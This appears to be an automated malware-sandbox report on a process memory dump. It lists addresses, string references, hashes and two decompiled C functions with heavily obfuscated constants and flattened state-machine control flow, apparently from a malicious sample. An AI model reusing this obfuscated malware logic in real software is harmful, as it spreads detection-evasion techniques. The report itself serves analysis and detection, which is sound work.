0x00fa89a7
0x00fa89b2
0x00fa89ba
0x00fa89c8
0x00fa89cf
0x00fa89d3
0x00fa89db
0x00fa89e3
0x00fa89ed
0x00fa89f1
0x00fa89f6
0x00fa89f6
0x00fa89fe
0x00fa89fe
0x00fa89fe
0x00fa89fe
0x00fa8a04
0x00000000
0x00000000
0x00fa8a0a
0x00fa8ac2
0x00fa8ad4
0x00fa8add
0x00fa8afd
0x00fa8b02
0x00fa8b06
0x00fa8b16
0x00fa8b17
0x00fa8b1c
0x00fa8b1f
0x00fa8b22
0x00fa8b26
0x00fa8b3c
0x00fa8b46
0x00fa8b49
0x00fa8b50
0x00fa8b55
0x00fa8b59
0x00000000
0x00000000
0x00000000
0x00000000
0x00fa8b28
0x00fa8b28
0x00fa8b32
0x00fa8b34
0x00fa8b34
0x00fa8b37
0x00fa8b38
0x00000000
0x00fa8b28
0x00fa8a16
0x00fa8cb4
0x00fa8cba
0x00fa8ccb
0x00fa8ccb
0x00fa8a22
0x00fa8ab8
0x00000000
0x00fa8ab8
0x00fa8a2e
0x00fa8a86
0x00fa8a87
0x00fa8a8b
0x00fa8a90
0x00fa8a93
0x00fa8a97
0x00fa8aae
0x00fa8a99
0x00fa8a99
0x00fa8aa4
0x00fa8aa4
0x00000000
0x00fa8a97
0x00fa8a36
0x00000000
0x00000000
0x00fa8a5f
0x00fa8a64
0x00fa8a69
0x00000000
0x00000000
0x00fa8a6f
0x00fa8a6f
0x00fa8b6b
0x00fa8c86
0x00fa8c8c
0x00000000
0x00fa8c8c
0x00fa8b77
0x00fa8c48
0x00fa8c56
0x00fa8c6a
0x00fa8c6f
0x00000000
0x00fa8c6f
0x00fa8b83
0x00fa8bdc
0x00fa8bea
0x00fa8c02
0x00fa8c0c
0x00fa8c1b
0x00fa8c26
0x00fa8c2b
0x00fa8c30
0x00000000
0x00000000
0x00fa8c36
0x00000000
0x00fa8c36
0x00fa8b8b
0x00000000
0x00000000
0x00fa8baf
0x00fa8bb4
0x00fa8bbb
0x00fa8bc3
0x00000000
0x00fa8c91
0x00fa8c91
0x00000000

Strings

GfH, xrefs: 00FA8907
yC, xrefs: 00FA8977
E:e, xrefs: 00FA863D
, xrefs: 00FA8C1B
e-, xrefs: 00FA8873
ee, xrefs: 00FA85A2
5A, xrefs: 00FA88DC
aq, xrefs: 00FA860C

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: $5A$E:e$GfH$aq$e-$ee$yC
API String ID: 0-3344464735
Opcode ID: 45730276a8462984ee385fd950f205e3bdfa535a6e1d1655b427a2fe2de1701f
Instruction ID: 9377a5aad1b59fd9f58869ce34c2c571ccff1eb7454318ea7692ebe287ded8f9
Opcode Fuzzy Hash: 45730276a8462984ee385fd950f205e3bdfa535a6e1d1655b427a2fe2de1701f
Instruction Fuzzy Hash: 2E1232B15093809FC368CF25C58A69BFBE1FBC5758F10891DE2D98A260DBB19949DF03

Uniqueness

Uniqueness Score: -1.00%

Function 00FA243F, Relevance: 10.3, Strings: 8, Instructions: 329
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E00FA243F() {
				char _v524;
				signed int _v532;
				intOrPtr _v536;
				intOrPtr _v540;
				intOrPtr _v544;
				intOrPtr _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				intOrPtr _v560;
				char _v564;
				intOrPtr _v568;
				char _v572;
				signed int _v576;
				signed int _v580;
				signed int _v584;
				signed int _v588;
				signed int _v592;
				signed int _v596;
				signed int _v600;
				signed int _v604;
				signed int _v608;
				signed int _v612;
				signed int _v616;
				signed int _v620;
				signed int _v624;
				signed int _v628;
				signed int _v632;
				signed int _v636;
				signed int _v640;
				signed int _v644;
				signed int _v648;
				signed int _v652;
				signed int _v656;
				signed int _v660;
				signed int _v664;
				signed int _v668;
				signed int _v672;
				signed int _v676;
				signed int _v680;
				signed int _v684;
				signed int _v688;
				signed int _v692;
				signed int _v696;
				signed int _v700;
				signed int _t360;
				signed int _t370;
				intOrPtr _t371;
				void* _t374;
				void* _t376;
				void* _t379;
				char _t386;
				void* _t421;
				signed int _t422;
				signed int _t423;
				signed int _t424;
				signed int _t425;
				signed int _t426;
				signed int _t427;
				signed int _t428;
				signed int _t429;
				signed int _t430;
				signed int _t431;
				signed int _t432;
				signed int _t433;
				signed int _t434;
				signed int* _t436;

				_t436 =  &_v700;
				_v644 = 0x6bdfd1;
				_v644 = _v644 ^ 0x979670b7;
				_t376 = 0xb677678;
				_v644 = _v644 ^ 0xe993d947;
				_v644 = _v644 ^ 0x7e6e7620;
				_v600 = 0xd44612;
				_v600 = _v600 | 0xd6032db3;
				_v600 = _v600 ^ 0xd6d76eb3;
				_v608 = 0x321328;
				_v608 = _v608 >> 3;
				_v608 = _v608 ^ 0x00064266;
				_v588 = 0x1dc3e4;
				_v588 = _v588 >> 7;
				_v588 = _v588 ^ 0x00003b87;
				_v676 = 0xca28c5;
				_t422 = 0x7e;
				_v676 = _v676 / _t422;
				_v676 = _v676 | 0xa39659f7;
				_t421 = 0;
				_v676 = _v676 ^ 0x9bdf3521;
				_v676 = _v676 ^ 0x38462660;
				_v576 = 0xa1f767;
				_v576 = _v576 ^ 0x30e8e272;
				_v576 = _v576 ^ 0x30437e3f;
				_v636 = 0x30193b;
				_v636 = _v636 | 0xf98ebf42;
				_v636 = _v636 + 0x465a;
				_v636 = _v636 ^ 0xf9b7d3fa;
				_v628 = 0xf8a9c2;
				_v628 = _v628 + 0xffff9b4a;
				_v628 = _v628 ^ 0x6f3e3305;
				_v628 = _v628 ^ 0x6fc79a5a;
				_v580 = 0x34221d;
				_t423 = 0x6c;
				_v580 = _v580 * 0x72;
				_v580 = _v580 ^ 0x17329e1c;
				_v592 = 0x46a854;
				_v592 = _v592 / _t423;
				_v592 = _v592 ^ 0x0007e2d0;
				_v620 = 0x648007;
				_v620 = _v620 | 0x9fe7b715;
				_v620 = _v620 ^ 0x9fe05ac1;
				_v596 = 0x398eba;
				_v596 = _v596 ^ 0x9c50c709;
				_v596 = _v596 ^ 0x9c6d9ce7;
				_v656 = 0x78fbe3;
				_v656 = _v656 ^ 0x2a394479;
				_v656 = _v656 << 0xf;
				_v656 = _v656 ^ 0xdfce0ee6;
				_v604 = 0x877df3;
				_v604 = _v604 << 0x10;
				_v604 = _v604 ^ 0x7df4962b;
				_v668 = 0xe3c70c;
				_v668 = _v668 + 0xffff4197;
				_v668 = _v668 ^ 0x05e9e866;
				_v668 = _v668 << 6;
				_v668 = _v668 ^ 0x42b90c9e;
				_v584 = 0x266e86;
				_t424 = 0x57;
				_v584 = _v584 / _t424;
				_v584 = _v584 ^ 0x0003ff1f;
				_v632 = 0x9b2ca7;
				_v632 = _v632 >> 0xd;
				_v632 = _v632 * 0xd;
				_v632 = _v632 ^ 0x000bc767;
				_v640 = 0x866b44;
				_v640 = _v640 >> 3;
				_v640 = _v640 / _t424;
				_v640 = _v640 ^ 0x000c4f6e;
				_v612 = 0xa7dbb0;
				_t425 = 0x64;
				_v612 = _v612 / _t425;
				_v612 = _v612 ^ 0x00021f99;
				_v660 = 0x73f9e8;
				_t426 = 0x2d;
				_v660 = _v660 / _t426;
				_v660 = _v660 << 0xf;
				_v660 = _v660 ^ 0xc81ec68f;
				_v660 = _v660 ^ 0x81f41619;
				_v648 = 0x3a909a;
				_v648 = _v648 | 0x97e2c35a;
				_v648 = _v648 ^ 0xba86c636;
				_v648 = _v648 ^ 0x2d7c8adf;
				_v684 = 0x48be9e;
				_v684 = _v684 << 5;
				_t427 = 0x38;
				_v684 = _v684 * 0x4e;
				_v684 = _v684 + 0x761d;
				_v684 = _v684 ^ 0xc540ef8d;
				_v692 = 0xdf149e;
				_v692 = _v692 + 0x6a74;
				_v692 = _v692 ^ 0xeda6358b;
				_v692 = _v692 / _t427;
				_v692 = _v692 ^ 0x043a92ab;
				_v700 = 0x93dbf7;
				_t428 = 0x63;
				_v700 = _v700 * 0x3a;
				_v700 = _v700 / _t428;
				_t429 = 0x46;
				_v700 = _v700 / _t429;
				_v700 = _v700 ^ 0x000b92b0;
				_v680 = 0x8c923f;
				_v680 = _v680 | 0xccd3540a;
				_v680 = _v680 + 0x1565;
				_v680 = _v680 << 0xa;
				_v680 = _v680 ^ 0x7fa7961b;
				_v672 = 0x35bac0;
				_v672 = _v672 * 0x3b;
				_v672 = _v672 | 0x58738310;
				_v672 = _v672 * 0x25;
				_v672 = _v672 ^ 0x5cb4f925;
				_v688 = 0x377abe;
				_v688 = _v688 << 0xe;
				_v688 = _v688 + 0xa60e;
				_v688 = _v688 + 0xffffc1e2;
				_v688 = _v688 ^ 0xdeab84d7;
				_v652 = 0xa7878e;
				_v652 = _v652 + 0x1c57;
				_t430 = 0x12;
				_v652 = _v652 / _t430;
				_v652 = _v652 ^ 0x0003c11d;
				_v664 = 0x5b36fc;
				_v664 = _v664 + 0x818f;
				_v664 = _v664 << 7;
				_v664 = _v664 ^ 0x5d500fca;
				_v664 = _v664 ^ 0x70881f80;
				_v696 = 0x90a36e;
				_v696 = _v696 ^ 0xdcc3f2e8;
				_v696 = _v696 + 0xe5e9;
				_v696 = _v696 | 0x46a1024e;
				_v696 = _v696 ^ 0xdef79675;
				_v616 = 0x1c8a85;
				_v616 = _v616 << 0xd;
				_t431 = 0xe;
				_v616 = _v616 / _t431;
				_v616 = _v616 ^ 0x0a61a4ac;
				_v624 = 0xfaa176;
				_t432 = 0x76;
				_v624 = _v624 / _t432;
				_t433 = 0x55;
				_t375 = _v612;
				_v624 = _v624 / _t433;
				_v624 = _v624 ^ 0x000fa73f;
				do {
					while(_t376 != 0x24eee0d) {
						if(_t376 == 0x4039ddf) {
							_v572 = _v572 - E00FACE0E(_t376);
							_t376 = 0x24eee0d;
							asm("sbb [esp+0x94], edx");
							continue;
						} else {
							if(_t376 == 0x4d73541) {
								E00FB4A33(_v616, _v624, _t375);
							} else {
								if(_t376 == 0x728cc3d) {
									_t419 = _v576;
									E00FC1C21(_v676, _v576,  &_v572, _v636, _v628);
									_t436 =  &(_t436[3]);
									_t376 = 0x4039ddf;
									continue;
								} else {
									if(_t376 == 0x7671ba8) {
										_t370 = E00FBB302( &_v524, _t419, _v648, _v684, _v600, 0, _v608, _v692, _t376, _v700, _v680, _v672, _v644);
										_t375 = _t370;
										_t436 =  &(_t436[0xb]);
										__eflags = _t370 - 0xffffffff;
										if(__eflags != 0) {
											_t376 = 0xa69e27e;
											continue;
										}
									} else {
										if(_t376 == 0xa69e27e) {
											_t386 = _v572;
											_t371 = _v568;
											_push(_t386);
											_v560 = _t371;
											_v552 = _t371;
											_v544 = _t371;
											_v536 = _t371;
											_v532 = _v588;
											_v564 = _t386;
											_v556 = _t386;
											_v548 = _t386;
											_v540 = _t386;
											_t374 = E00FB4B76(_v688, _t419, _v652, _v664,  &_v564, _v696, _t375);
											_t436 =  &(_t436[6]);
											__eflags = _t374;
											_t421 =  !=  ? 1 : _t421;
											_t376 = 0x4d73541;
											continue;
										} else {
											if(_t376 != 0xb677678) {
												goto L15;
											} else {
												_t376 = 0x728cc3d;
												continue;
											}
										}
									}
								}
							}
						}
						L18:
						return _t421;
					}
					_push(_v620);
					_push(_v592);
					_t360 = E00FBCD35(0xfa1000, _v580, __eflags);
					_pop(_t379);
					_t434 = _t360;
					_t417 =  *0xfc5218;
					__eflags =  *0xfc5218 + 0x234;
					E00FB2EA5( *0xfc5218 + 0x234,  *0xfc5218 + 0x234, _t417 + 0x18, _t379, _v656, _v604, _t434, _v668, _v584,  &_v524);
					_t419 = _t434;
					E00FB629F(_v632, _t434, _v640, _v612, _v660);
					_t436 =  &(_t436[0xb]);
					_t376 = 0x7671ba8;
					L15:
					__eflags = _t376 - 0x53cf906;
				} while (__eflags != 0);
				goto L18;
			}

0x00fa243f
0x00fa2445
0x00fa244f
0x00fa2457
0x00fa245c
0x00fa2464
0x00fa246c
0x00fa2474
0x00fa247c
0x00fa2484
0x00fa248c
0x00fa2491
0x00fa2499
0x00fa24a1
0x00fa24a6
0x00fa24ae
0x00fa24c0
0x00fa24c5
0x00fa24cb
0x00fa24d3
0x00fa24d5
0x00fa24dd
0x00fa24e5
0x00fa24f0
0x00fa24fb
0x00fa2506
0x00fa250e
0x00fa2516
0x00fa251e
0x00fa2526
0x00fa252e
0x00fa2536
0x00fa253e
0x00fa2546
0x00fa2559
0x00fa255c
0x00fa2563
0x00fa256e
0x00fa2584
0x00fa258b
0x00fa2596
0x00fa259e
0x00fa25a6
0x00fa25ae
0x00fa25b6
0x00fa25be
0x00fa25c6
0x00fa25ce
0x00fa25d6
0x00fa25db
0x00fa25e3
0x00fa25eb
0x00fa25f0
0x00fa25f8
0x00fa2600
0x00fa2608
0x00fa2610
0x00fa2615
0x00fa261d
0x00fa262f
0x00fa2632
0x00fa2639
0x00fa2644
0x00fa264c
0x00fa2656
0x00fa265c
0x00fa2664
0x00fa266c
0x00fa2679
0x00fa267f
0x00fa2687
0x00fa2693
0x00fa2698
0x00fa269e
0x00fa26a6
0x00fa26b2
0x00fa26b7
0x00fa26bd
0x00fa26c2
0x00fa26ca
0x00fa26d2
0x00fa26da
0x00fa26e2
0x00fa26ea
0x00fa26f2
0x00fa26fa
0x00fa2704
0x00fa2707
0x00fa270b
0x00fa2713
0x00fa271b
0x00fa2723
0x00fa272b
0x00fa273b
0x00fa273f
0x00fa2747
0x00fa2754
0x00fa2757
0x00fa2763
0x00fa276b
0x00fa276e
0x00fa2772
0x00fa277a
0x00fa2782
0x00fa278a
0x00fa2792
0x00fa2797
0x00fa279f
0x00fa27ac
0x00fa27b0
0x00fa27bd
0x00fa27c1
0x00fa27c9
0x00fa27d1
0x00fa27d6
0x00fa27de
0x00fa27e6
0x00fa27ee
0x00fa27f6
0x00fa280b
0x00fa2810
0x00fa2816
0x00fa281e
0x00fa2826
0x00fa282e
0x00fa2833
0x00fa283b
0x00fa2843
0x00fa284b
0x00fa2853
0x00fa285b
0x00fa2863
0x00fa286b
0x00fa2873
0x00fa287c
0x00fa2881
0x00fa2887
0x00fa288f
0x00fa289b
0x00fa28a0
0x00fa28aa
0x00fa28ad
0x00fa28b1
0x00fa28b5
0x00fa28bd
0x00fa28bd
0x00fa28cf
0x00fa2a18
0x00fa2a1f
0x00fa2a24
0x00000000
0x00fa28d5
0x00fa28db
0x00fa2ac8
0x00fa28e1
0x00fa28e3
0x00fa29f5
0x00fa2a01
0x00fa2a06
0x00fa2a09
0x00000000
0x00fa28e9
0x00fa28ef
0x00fa29c9
0x00fa29ce
0x00fa29d0
0x00fa29d3
0x00fa29d6
0x00fa29dc
0x00000000
0x00fa29dc
0x00fa28f5
0x00fa28fb
0x00fa290d
0x00fa2914
0x00fa291b
0x00fa291d
0x00fa2924
0x00fa292b
0x00fa2932
0x00fa2944
0x00fa2957
0x00fa2962
0x00fa2969
0x00fa2970
0x00fa297b
0x00fa2982
0x00fa2986
0x00fa2988
0x00fa298b
0x00000000
0x00fa28fd
0x00fa2903
0x00000000
0x00fa2909
0x00fa2909
0x00000000
0x00fa2909
0x00fa2903
0x00fa28fb
0x00fa28ef
0x00fa28e3
0x00fa28db
0x00fa2ace
0x00fa2ada
0x00fa2ada
0x00fa2a30
0x00fa2a39
0x00fa2a47
0x00fa2a4d
0x00fa2a4e
0x00fa2a6f
0x00fa2a80
0x00fa2a87
0x00fa2a90
0x00fa2aa4
0x00fa2aa9
0x00fa2aac
0x00fa2ab1
0x00fa2ab1
0x00fa2ab1
0x00000000

Strings

tj, xrefs: 00FA2723
`&F8, xrefs: 00FA24DD
?~C0, xrefs: 00FA24FB
ZF, xrefs: 00FA2516
~i, xrefs: 00FA29DC
~i, xrefs: 00FA28F5
yD9*, xrefs: 00FA25CE
vn~, xrefs: 00FA2464

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: vn~$?~C0$ZF$`&F8$tj$yD9*$~i$~i
API String ID: 0-1622661322
Opcode ID: b040d63da8aac97a90b42c4dc87f1d785580b22c067f5415e6f32166c179f968
Instruction ID: 6ec8ceecf4cda4cff7ad7dd304b25a147c71763936f23a85cc63564fc4a57c24
Opcode Fuzzy Hash: b040d63da8aac97a90b42c4dc87f1d785580b22c067f5415e6f32166c179f968
Instruction Fuzzy Hash: 97F112B15093809FD368CF6AC949A4BBBE1FBC4758F10891DF29A86260D7B58909DF43

Uniqueness

Uniqueness Score: -1.00%

Function 00FBB677, Relevance: 10.3, Strings: 8, Instructions: 309
COMMONCrypto

Download Yara Rule

C-Code - Quality: 94%

			E00FBB677(void* __ecx, intOrPtr* __edx, intOrPtr _a4, intOrPtr* _a8, intOrPtr _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				signed int _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				signed int _v140;
				signed int _v144;
				signed int _v148;
				signed int _v152;
				void* _t325;
				void* _t355;
				void* _t358;
				intOrPtr _t365;
				intOrPtr* _t366;
				void* _t368;
				intOrPtr _t393;
				signed int _t396;
				signed int _t397;
				signed int _t398;
				signed int _t399;
				signed int _t400;
				signed int _t401;
				signed int _t402;
				void* _t404;
				void* _t405;

				_t395 = _a8;
				_t366 = __edx;
				_push(_a16);
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E00FA358A(_t325);
				_v12 = 0xab9d1;
				_t393 = 0;
				_v8 = 0;
				_t405 = _t404 + 0x18;
				_v72 = 0x7e0a00;
				_v72 = _v72 << 1;
				_t368 = 0xe28fb16;
				_v72 = _v72 >> 0xa;
				_v72 = _v72 ^ 0x00003f04;
				_v44 = 0xe02806;
				_v44 = _v44 << 0x10;
				_v44 = _v44 ^ 0x28060001;
				_v116 = 0x28ec3f;
				_t20 =  &_v116; // 0x28ec3f
				_t396 = 0x6f;
				_v116 =  *_t20 / _t396;
				_t397 = 0x25;
				_v116 = _v116 / _t397;
				_v116 = _v116 + 0xffff36e4;
				_v116 = _v116 ^ 0xffff3971;
				_v80 = 0x2e26f9;
				_t398 = 0x64;
				_v80 = _v80 * 0x45;
				_v80 = _v80 + 0xffff4162;
				_v80 = _v80 ^ 0x0c6fc27f;
				_v100 = 0xb1aef7;
				_v100 = _v100 * 0x1a;
				_v100 = _v100 >> 0xc;
				_v100 = _v100 ^ 0xf269cef5;
				_v100 = _v100 ^ 0xf268ee49;
				_v60 = 0xf2634;
				_v60 = _v60 * 0x5b;
				_v60 = _v60 ^ 0x0562947c;
				_v36 = 0x2018cb;
				_v36 = _v36 ^ 0x8c25c5f6;
				_v36 = _v36 ^ 0x8c05dd3d;
				_v64 = 0xf8940d;
				_v64 = _v64 | 0x87d24572;
				_v64 = _v64 ^ 0x5c16a201;
				_v64 = _v64 ^ 0xdbe26406;
				_v40 = 0x7c480a;
				_v40 = _v40 << 3;
				_v40 = _v40 ^ 0x03ea2f69;
				_v108 = 0x2ee5ba;
				_v108 = _v108 ^ 0xf599a2db;
				_v108 = _v108 >> 3;
				_v108 = _v108 >> 6;
				_v108 = _v108 ^ 0x0070f037;
				_v124 = 0xf71a4a;
				_v124 = _v124 << 0x10;
				_v124 = _v124 | 0xaf227d43;
				_v124 = _v124 >> 9;
				_v124 = _v124 ^ 0x00557cee;
				_v132 = 0xd794ed;
				_v132 = _v132 / _t398;
				_v132 = _v132 >> 0xf;
				_v132 = _v132 >> 9;
				_v132 = _v132 ^ 0x00022203;
				_v48 = 0x2c4233;
				_v48 = _v48 + 0xffff6721;
				_v48 = _v48 ^ 0x0020eee8;
				_v56 = 0x922e5e;
				_v56 = _v56 + 0xffff04d8;
				_v56 = _v56 ^ 0x00934383;
				_v84 = 0x9b8956;
				_v84 = _v84 << 4;
				_t399 = 0x3e;
				_v84 = _v84 / _t399;
				_v84 = _v84 ^ 0x0024d73e;
				_v140 = 0xe285f0;
				_t400 = 0x2b;
				_v140 = _v140 / _t400;
				_t401 = 0x75;
				_v140 = _v140 * 0x54;
				_v140 = _v140 ^ 0x36893739;
				_v140 = _v140 ^ 0x373574c3;
				_v148 = 0x700371;
				_v148 = _v148 ^ 0x52856356;
				_v148 = _v148 + 0x5a74;
				_v148 = _v148 * 0x33;
				_v148 = _v148 ^ 0x86f5f6a0;
				_v104 = 0xae45eb;
				_v104 = _v104 * 0x47;
				_v104 = _v104 ^ 0x5c3d10c1;
				_v104 = _v104 + 0xffff4879;
				_v104 = _v104 ^ 0x6c69943e;
				_v144 = 0xeba846;
				_v144 = _v144 * 0x65;
				_v144 = _v144 << 7;
				_v144 = _v144 << 0xc;
				_v144 = _v144 ^ 0x1cf6ea5a;
				_v120 = 0x7964a1;
				_v120 = _v120 << 0x10;
				_v120 = _v120 ^ 0xe77bd097;
				_v120 = _v120 ^ 0x97606998;
				_v120 = _v120 ^ 0x14b3ea1b;
				_v68 = 0x60b4f9;
				_v68 = _v68 ^ 0x3cdba86f;
				_v68 = _v68 + 0xffff76c3;
				_v68 = _v68 ^ 0x3cb9ec82;
				_v76 = 0xf18242;
				_v76 = _v76 + 0xffff0809;
				_v76 = _v76 | 0x29202b9a;
				_v76 = _v76 ^ 0x29fa2e53;
				_v28 = 0xc34101;
				_v28 = _v28 * 0x25;
				_v28 = _v28 ^ 0x1c332c9c;
				_v152 = 0x69efe7;
				_v152 = _v152 << 6;
				_v152 = _v152 >> 8;
				_v152 = _v152 | 0x90a804ff;
				_v152 = _v152 ^ 0x90b9dc27;
				_v52 = 0xbb99d0;
				_v52 = _v52 / _t401;
				_v52 = _v52 ^ 0x000f2420;
				_v24 = 0x38339b;
				_v24 = _v24 >> 0xe;
				_v24 = _v24 ^ 0x000b04cc;
				_v96 = 0x52b09a;
				_v96 = _v96 | 0x755dd4ed;
				_t402 = 0x23;
				_v96 = _v96 * 0x66;
				_v96 = _v96 + 0x23a3;
				_v96 = _v96 ^ 0xc43b953b;
				_v128 = 0x98d7e0;
				_v128 = _v128 + 0x7bca;
				_v128 = _v128 * 0x3e;
				_v128 = _v128 + 0xf8ad;
				_v128 = _v128 ^ 0x2522e9e9;
				_v112 = 0x782ce5;
				_v112 = _v112 + 0xffff9380;
				_v112 = _v112 + 0x9be5;
				_v112 = _v112 ^ 0x23472c87;
				_v112 = _v112 ^ 0x233cdfa9;
				_v136 = 0x3d5208;
				_v136 = _v136 * 0x1d;
				_v136 = _v136 / _t402;
				_v136 = _v136 >> 0xe;
				_v136 = _v136 ^ 0x000e447f;
				_v88 = 0xb35ee9;
				_v88 = _v88 + 0xe5d2;
				_v88 = _v88 + 0xffffdc93;
				_v88 = _v88 ^ 0x00b3e58d;
				_v92 = 0x21f8b6;
				_v92 = _v92 * 0x30;
				_v92 = _v92 >> 6;
				_v92 = _v92 | 0x81929639;
				_v92 = _v92 ^ 0x81904b86;
				_v32 = 0x36c343;
				_v32 = _v32 << 2;
				_v32 = _v32 ^ 0x00d9bc6c;
				while(_t368 != 0x1c43801) {
					if(_t368 == 0x9b73326) {
						_t355 = E00FA7C0C( *((intOrPtr*)( *0xfc5220 + 0x44)),  *_t395, _v64, _t368, _v40,  &_v16, _v72, _v108, _v116, _v124, _v132,  *((intOrPtr*)(_t395 + 4)), _v48, _t368, _v56, _v80, _v84, _v140, _t393, _v148);
						_t405 = _t405 + 0x48;
						if(_t355 == _v100) {
							_t368 = 0xe7fcf14;
							continue;
						}
					} else {
						if(_t368 == 0xb54e992) {
							_t358 = E00FA7C0C( *((intOrPtr*)( *0xfc5220 + 0x44)),  *_t395, _v76, _t368, _v28,  &_v16, _v44, _v152, _v60, _v52, _v24,  *((intOrPtr*)(_t395 + 4)), _v96, _t368, _v128, _v16, _v112, _v136, _v20, _v88);
							_t405 = _t405 + 0x48;
							if(_t358 == _v36) {
								 *_t366 = _v20;
								_t393 = 1;
								 *((intOrPtr*)(_t366 + 4)) = _v16;
							} else {
								_t368 = 0x1c43801;
								continue;
							}
						} else {
							if(_t368 == 0xe28fb16) {
								_t368 = 0x9b73326;
								continue;
							} else {
								if(_t368 != 0xe7fcf14) {
									L14:
									if(_t368 != 0x2c4f76c) {
										continue;
									} else {
									}
								} else {
									_push(_t368);
									_push(_t368);
									_t365 = E00FB5212(_v16);
									_t405 = _t405 + 0xc;
									_v20 = _t365;
									if(_t365 != 0) {
										_t368 = 0xb54e992;
										continue;
									}
								}
							}
						}
					}
					return _t393;
				}
				E00FAAE43(_v20, _v92, _v32);
				_t368 = 0x2c4f76c;
				goto L14;
			}

0x00fbb680
0x00fbb687
0x00fbb68a
0x00fbb691
0x00fbb698
0x00fbb699
0x00fbb6a0
0x00fbb6a1
0x00fbb6a2
0x00fbb6a7
0x00fbb6b2
0x00fbb6b4
0x00fbb6bb
0x00fbb6be
0x00fbb6c8
0x00fbb6cc
0x00fbb6d1
0x00fbb6d6
0x00fbb6de
0x00fbb6e9
0x00fbb6f1
0x00fbb6fc
0x00fbb704
0x00fbb70a
0x00fbb70f
0x00fbb719
0x00fbb71e
0x00fbb724
0x00fbb72c
0x00fbb734
0x00fbb741
0x00fbb742
0x00fbb746
0x00fbb74e
0x00fbb756
0x00fbb763
0x00fbb767
0x00fbb76c
0x00fbb774
0x00fbb77c
0x00fbb789
0x00fbb78d
0x00fbb795
0x00fbb7a0
0x00fbb7ab
0x00fbb7b6
0x00fbb7be
0x00fbb7c6
0x00fbb7ce
0x00fbb7d6
0x00fbb7e1
0x00fbb7e9
0x00fbb7f4
0x00fbb7fc
0x00fbb804
0x00fbb809
0x00fbb80e
0x00fbb816
0x00fbb81e
0x00fbb823
0x00fbb82b
0x00fbb830
0x00fbb838
0x00fbb846
0x00fbb84c
0x00fbb851
0x00fbb856
0x00fbb85e
0x00fbb866
0x00fbb86e
0x00fbb876
0x00fbb87e
0x00fbb886
0x00fbb88e
0x00fbb896
0x00fbb8a1
0x00fbb8a6
0x00fbb8ac
0x00fbb8b4
0x00fbb8c0
0x00fbb8c5
0x00fbb8d0
0x00fbb8d1
0x00fbb8d5
0x00fbb8dd
0x00fbb8e5
0x00fbb8ed
0x00fbb8f5
0x00fbb902
0x00fbb906
0x00fbb90e
0x00fbb91b
0x00fbb91f
0x00fbb927
0x00fbb92f
0x00fbb937
0x00fbb944
0x00fbb948
0x00fbb94d
0x00fbb952
0x00fbb95a
0x00fbb962
0x00fbb967
0x00fbb96f
0x00fbb977
0x00fbb97f
0x00fbb987
0x00fbb98f
0x00fbb997
0x00fbb99f
0x00fbb9a7
0x00fbb9af
0x00fbb9b7
0x00fbb9bf
0x00fbb9d2
0x00fbb9d9
0x00fbb9e4
0x00fbb9ec
0x00fbb9f1
0x00fbb9f6
0x00fbb9fe
0x00fbba06
0x00fbba14
0x00fbba18
0x00fbba20
0x00fbba2b
0x00fbba33
0x00fbba3e
0x00fbba48
0x00fbba57
0x00fbba58
0x00fbba5c
0x00fbba64
0x00fbba6c
0x00fbba74
0x00fbba81
0x00fbba85
0x00fbba8d
0x00fbba95
0x00fbba9d
0x00fbbaa5
0x00fbbaad
0x00fbbab5
0x00fbbabd
0x00fbbaca
0x00fbbad9
0x00fbbadd
0x00fbbae2
0x00fbbaea
0x00fbbaf2
0x00fbbafa
0x00fbbb02
0x00fbbb0a
0x00fbbb17
0x00fbbb1b
0x00fbbb20
0x00fbbb28
0x00fbbb30
0x00fbbb3b
0x00fbbb43
0x00fbbb4e
0x00fbbb5c
0x00fbbc9c
0x00fbbca1
0x00fbbca8
0x00fbbcaa
0x00000000
0x00fbbcaa
0x00fbbb62
0x00fbbb68
0x00fbbc24
0x00fbbc29
0x00fbbc33
0x00fbbce8
0x00fbbcea
0x00fbbcf2
0x00fbbc39
0x00fbbc39
0x00000000
0x00fbbc39
0x00fbbb6a
0x00fbbb70
0x00fbbbb5
0x00000000
0x00fbbb72
0x00fbbb78
0x00fbbcd1
0x00fbbcd7
0x00000000
0x00000000
0x00fbbcdd
0x00fbbb7e
0x00fbbb8e
0x00fbbb8f
0x00fbbb97
0x00fbbb9c
0x00fbbb9f
0x00fbbba8
0x00fbbbae
0x00000000
0x00fbbbae
0x00fbbba8
0x00fbbb78
0x00fbbb70
0x00fbbb68
0x00fbbd01
0x00fbbd01
0x00fbbcc6
0x00fbbccc
0x00000000

Strings

i, xrefs: 00FBB9E4
"%, xrefs: 00FBBA8D
tZ, xrefs: 00FBB8F5
H|, xrefs: 00FBB7D6
,x, xrefs: 00FBBA95
?(, xrefs: 00FBB704
|U, xrefs: 00FBB830
, xrefs: 00FBB86E

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: H|$?($tZ$,x$|U$ $"%$i
API String ID: 0-3225341047
Opcode ID: 2ce2b12101299956a9e8813a997b4c4cefcb060df22c10313840d5aa174abd8f
Instruction ID: 494b7189c2acdcff91a6bde030ac0413bd4cb07061904b28d25284c513367c14
Opcode Fuzzy Hash: 2ce2b12101299956a9e8813a997b4c4cefcb060df22c10313840d5aa174abd8f
Instruction Fuzzy Hash: 13F1E0724083809FD768CF66C94AA5BFBF1FBC4748F50891DF29986260C7B29949DF42

Uniqueness

Uniqueness Score: -1.00%

